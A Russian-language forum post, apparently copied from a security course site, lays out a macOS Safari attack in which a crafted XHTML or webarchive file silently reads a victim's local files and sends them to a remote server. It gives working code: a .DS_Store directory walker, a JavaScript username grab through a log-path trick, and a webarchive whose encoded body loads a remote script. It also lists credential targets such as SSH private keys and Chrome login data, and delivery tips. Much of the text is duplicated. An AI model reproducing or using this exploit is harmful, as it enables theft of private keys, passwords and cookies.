- Автор темы
- #1
Представьте себе такую ситуацию: когда вы открываете HTML-документ, происходит что-то странное, и через некоторое время все файлы на вашем жестком диске оказываются в руках хакера. Вы думаете, это невозможно? Возможно, вам захочется подумать об этом еще раз.
Существует вероятность того, что субъекты угроз могут злоупотреблять некоторыми функциями в современных браузерах с помощью сложной атаки, описанной ниже:
Пользователь открывает HTML-страницу в браузере
Браузер считывает список файлов, доступных на компьютере пользователя.
Браузер считывает “чувствительные” файлы и загружает их на удаленный сервер злоумышленника. В то же время весь процесс остается невидимым для пользователя
Условно разделим атаку на два этапа:
Получение информации о файлах на удаленном компьютере
Считайте файлы и отправляйте их на сервер злоумышленника
На первом этапе мы каким-то образом должны найти список интересующих нас файлов на компьютере пользователя. Проблема в том, что нет четкого способа сделать это. Ни один браузер не позволит вам прочитать локальный каталог ~ / и список файлов на вашем рабочем столе с HTML-страницы. Случайный поиск тоже не вариант. Хотя мы знаем несколько важных маршрутов, таких как~/.ssh/id_rsa, в большинстве случаев это будет мало полезно.
На втором этапе, имея полный набор путей, мы должны каким-то образом выйти за пределы песочницы браузера, прочитать локальные файлы и загрузить их на наш сервер.
Обратите внимание, что эта информация предназначена только для академических целей. IICS не несет ответственности за неправильное использование этого учебника.
У macOS есть забавный штрих. Если вы откроете каталог с файлами, операционная система создаст специальный скрытый файл: .DS_Store. В этой папке хранятся настройки представления в macOS, включая информацию о расположении окна папки, размере окна, выбранных параметрах представления (значки, список или таблица) и внешнем виде значков в окне. Другими словами, операционная система кэширует информацию о файле для быстрого отображения каталога.
По образу мы можем оценить. DS_Store (например, скрытый файл Thumbs.db в Windows), но в отличие от Windows он также содержит имена файлов и каталогов. Просто перейдите в каталог с файлами, и операционная система немедленно создаст файл .DS_Store.
Что здесь такого интересного? Дело в том, что .DS_Store может сканировать и получать имена всех файлов в каталоге. Для этого подходит одноименный модуль DSStore для Python. Вот пример кода для реализации reading .DS_Store:
С другой стороны, файл .bash_history хранится в истории команд, введенных в терминал.
Сбор файлов cookie и других данных
Затем специалисты по кибербезопасности покажут вам процесс сбора файлов cookie. Прежде всего, имейте в виду, что macOS имеет предсказуемые способы хранения данных учетной записи в каталоге.
~/Library/Cookies/Cookies.binarycookies
Давайте также возьмем данные HSTS благодаря посещенным сайтам, которые возвращали заголовок HSTS.
Мы также будем хранить информацию о системных счетах.
~/Library/Accounts/Accounts4.sqlite
Ну что ж, Сафари-не единственное. Обычно в пути находится несколько установленных программных файлов и конфигураций.
~/Library/Application Support/
Мы возьмем только файлы Chrome:
~/Library/Application Support/Google/Chrome/Default/Login Data
~/Library/Application Support/Google/Chrome/Default/Cookies
~/Library/Application Support/Google/Chrome/Default/History
Вы также можете покопаться, чтобы узнать, где хранятся интересные файлы из некоторых FTP/SQL-клиентов или история сообщений в любой службе мгновенных сообщений.
Получить полные пути к пользовательским файлам
Мы выяснили, что можем взять. Теперь давайте попробуем собрать эти файлы с помощью Safari. В Chrome, например, вы не сможете читать локальные файлы на лету с помощью JavaScript. Чтобы это сработало, Chrome сначала должен быть запущен со специальным аргументом (–disable-web-security). Safari также предупреждает, что file:// не может работать с ним.
Благодаря этой функции, зная полный путь к файлу, мы можем загрузить его содержимое и отправить на удаленный сервер. Но вот наименее приятная часть: как получить полный путь, если мы не знаем имени пользователя? Как вы можете заметить, здесь нет логина пользователя.
Но что, если в системе установлены другие браузеры? HTML-код откроется с Chrome или Firefox, и ничего не произойдет. К счастью, есть несколько расширений, которые открывают только Safari. Это XHTM и webarchive. Если с XHTM все ясно, это веб-страница на основе XML (и вы можете запустить на ней JS), поэтому с webarchive это немного сложнее. Он имеет два формата, один из которых может быть легко изготовлен вручную:
По умолчанию для файлов, передаваемых по сети, существует ограничение на выполнение этого кода.
Это означает, что если вы отправите файл по почте, он может не сработать.
Хорошей новостью является то, что не все программы ставят галочку при загрузке файла.
Например, macOS-версия Telegram этого не делает). В нескольких тестах мы смогли прочитать файлы пользователя с помощью “вредоносного” XHTM-файла, переданного через настольную версию Telegram для macOS, и без защиты файлов или пароля.
Вероятно, вы можете найти и другие примеры. И, конечно же, готовый файл может быть передан жертве на физическом носителе во время социально-технического теста.
В настоящее время нет защиты от этой атаки, поэтому остается только рекомендовать пользователям быть как можно более осторожными при загрузке материалов из Интернета (кроме того, рекомендуется не использовать браузер Safari). Из-за особенностей этой атаки Apple не считает это уязвимостью, поэтому патчи, скорее всего, не будут выпущены.
Существует вероятность того, что субъекты угроз могут злоупотреблять некоторыми функциями в современных браузерах с помощью сложной атаки, описанной ниже:
Пользователь открывает HTML-страницу в браузере
Браузер считывает список файлов, доступных на компьютере пользователя.
Браузер считывает “чувствительные” файлы и загружает их на удаленный сервер злоумышленника. В то же время весь процесс остается невидимым для пользователя
Условно разделим атаку на два этапа:
Получение информации о файлах на удаленном компьютере
Считайте файлы и отправляйте их на сервер злоумышленника
На первом этапе мы каким-то образом должны найти список интересующих нас файлов на компьютере пользователя. Проблема в том, что нет четкого способа сделать это. Ни один браузер не позволит вам прочитать локальный каталог ~ / и список файлов на вашем рабочем столе с HTML-страницы. Случайный поиск тоже не вариант. Хотя мы знаем несколько важных маршрутов, таких как~/.ssh/id_rsa, в большинстве случаев это будет мало полезно.
На втором этапе, имея полный набор путей, мы должны каким-то образом выйти за пределы песочницы браузера, прочитать локальные файлы и загрузить их на наш сервер.
Обратите внимание, что эта информация предназначена только для академических целей. IICS не несет ответственности за неправильное использование этого учебника.
У macOS есть забавный штрих. Если вы откроете каталог с файлами, операционная система создаст специальный скрытый файл: .DS_Store. В этой папке хранятся настройки представления в macOS, включая информацию о расположении окна папки, размере окна, выбранных параметрах представления (значки, список или таблица) и внешнем виде значков в окне. Другими словами, операционная система кэширует информацию о файле для быстрого отображения каталога.
По образу мы можем оценить. DS_Store (например, скрытый файл Thumbs.db в Windows), но в отличие от Windows он также содержит имена файлов и каталогов. Просто перейдите в каталог с файлами, и операционная система немедленно создаст файл .DS_Store.
Что здесь такого интересного? Дело в том, что .DS_Store может сканировать и получать имена всех файлов в каталоге. Для этого подходит одноименный модуль DSStore для Python. Вот пример кода для реализации reading .DS_Store:
Код:
##!/usr/bin/env python
from ds_store import DSStore
import json
path = '/Users/USERNAME/.DS_Store'
def parse(file):
filelist = []
for i in file:
if i.filename!='.':
filelist.append(i.filename)
return list(set(filelist))
d=DSStore.open(path, 'r+')
fileresult=parse(d)
print(json.dumps(fileresult))
for name in fileresult:
try:
d = DSStore.open(path + name+ '/.DS_Store', 'r+')
fileresult = parse(d)
all.append(fileresult)
print(json.dumps(fileresult))
except:
pass
["Backups", "Soft", "Pictures", ".ssh" ...]
Вам нужно знать имя пользователя в системе
Файл. DS_Store создается только там, где его посещает пользователь
Прогнозирование путей для конфиденциальных файлов
Что еще мы можем найти в системе пользователя? Во-первых, существует каталог .ssh, в который обычно загружаются закрытые ключи. Во первых мы должны запомнить эти маршруты:
~/.ssh/id_rsa
~/.ssh/id_rsa.key
~/.ssh/id_rsa.pub
~/.ssh/known_hosts
~/.ssh/authorized_keys
Сбор файлов cookie и других данных
Затем специалисты по кибербезопасности покажут вам процесс сбора файлов cookie. Прежде всего, имейте в виду, что macOS имеет предсказуемые способы хранения данных учетной записи в каталоге.
~/Library/Cookies/Cookies.binarycookies
Давайте также возьмем данные HSTS благодаря посещенным сайтам, которые возвращали заголовок HSTS.
Мы также будем хранить информацию о системных счетах.
~/Library/Accounts/Accounts4.sqlite
Ну что ж, Сафари-не единственное. Обычно в пути находится несколько установленных программных файлов и конфигураций.
~/Library/Application Support/
Мы возьмем только файлы Chrome:
~/Library/Application Support/Google/Chrome/Default/Login Data
~/Library/Application Support/Google/Chrome/Default/Cookies
~/Library/Application Support/Google/Chrome/Default/History
Вы также можете покопаться, чтобы узнать, где хранятся интересные файлы из некоторых FTP/SQL-клиентов или история сообщений в любой службе мгновенных сообщений.
Получить полные пути к пользовательским файлам
Мы выяснили, что можем взять. Теперь давайте попробуем собрать эти файлы с помощью Safari. В Chrome, например, вы не сможете читать локальные файлы на лету с помощью JavaScript. Чтобы это сработало, Chrome сначала должен быть запущен со специальным аргументом (–disable-web-security). Safari также предупреждает, что file:// не может работать с ним.
Благодаря этой функции, зная полный путь к файлу, мы можем загрузить его содержимое и отправить на удаленный сервер. Но вот наименее приятная часть: как получить полный путь, если мы не знаем имени пользователя? Как вы можете заметить, здесь нет логина пользователя.
Код:
function getUser() {
var xhr = new XMLHttpRequest();
try {
xhr.open('GET', '/var/log/system.log;/https:%2f%2fgoogle.com/', false);
xhr.send();
return xhr.responseText.match(//Users/w+//g)[0];
} catch (e) {
xhr.open('GET', '/var/log/install.log;/https:%2f%2fgoogle.com/', false);
xhr.send();
return xhr.responseText.match(//Users/w+//g)[0];
}
}
Но что, если в системе установлены другие браузеры? HTML-код откроется с Chrome или Firefox, и ничего не произойдет. К счастью, есть несколько расширений, которые открывают только Safari. Это XHTM и webarchive. Если с XHTM все ясно, это веб-страница на основе XML (и вы можете запустить на ней JS), поэтому с webarchive это немного сложнее. Он имеет два формата, один из которых может быть легко изготовлен вручную:
Код:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>WebMainResource</key>
<dict>
<key>WebResourceData</key>
<data>
PGh0bWw+PGhlYWQ+PC9oZWFkPjxib2R5PjxzY3JpcHQgc3JjPSdodHRwczo
vL2JvMG9tLnJ1L3NhZmFyaV9wb2MvcmVhZGZpbGUuanMnPjwvc2NyaXB0Pj
wvYm9keT48L2h0bWw+
</data>
<key>WebResourceFrameName</key>
<string></string>
<key>WebResourceMIMEType</key>
<string>text/html</string>
<key>WebResourceTextEncodingName</key>
<string>UTF-8</string>
<key>WebResourceURL</key>
<string>file:///</string>
</dict>
</dict>
</plist>
По умолчанию для файлов, передаваемых по сети, существует ограничение на выполнение этого кода.
Это означает, что если вы отправите файл по почте, он может не сработать.
Хорошей новостью является то, что не все программы ставят галочку при загрузке файла.
Например, macOS-версия Telegram этого не делает). В нескольких тестах мы смогли прочитать файлы пользователя с помощью “вредоносного” XHTM-файла, переданного через настольную версию Telegram для macOS, и без защиты файлов или пароля.
Вероятно, вы можете найти и другие примеры. И, конечно же, готовый файл может быть передан жертве на физическом носителе во время социально-технического теста.
В настоящее время нет защиты от этой атаки, поэтому остается только рекомендовать пользователям быть как можно более осторожными при загрузке материалов из Интернета (кроме того, рекомендуется не использовать браузер Safari). Из-за особенностей этой атаки Apple не считает это уязвимостью, поэтому патчи, скорее всего, не будут выпущены.
- Telegram
- @nordbearbot
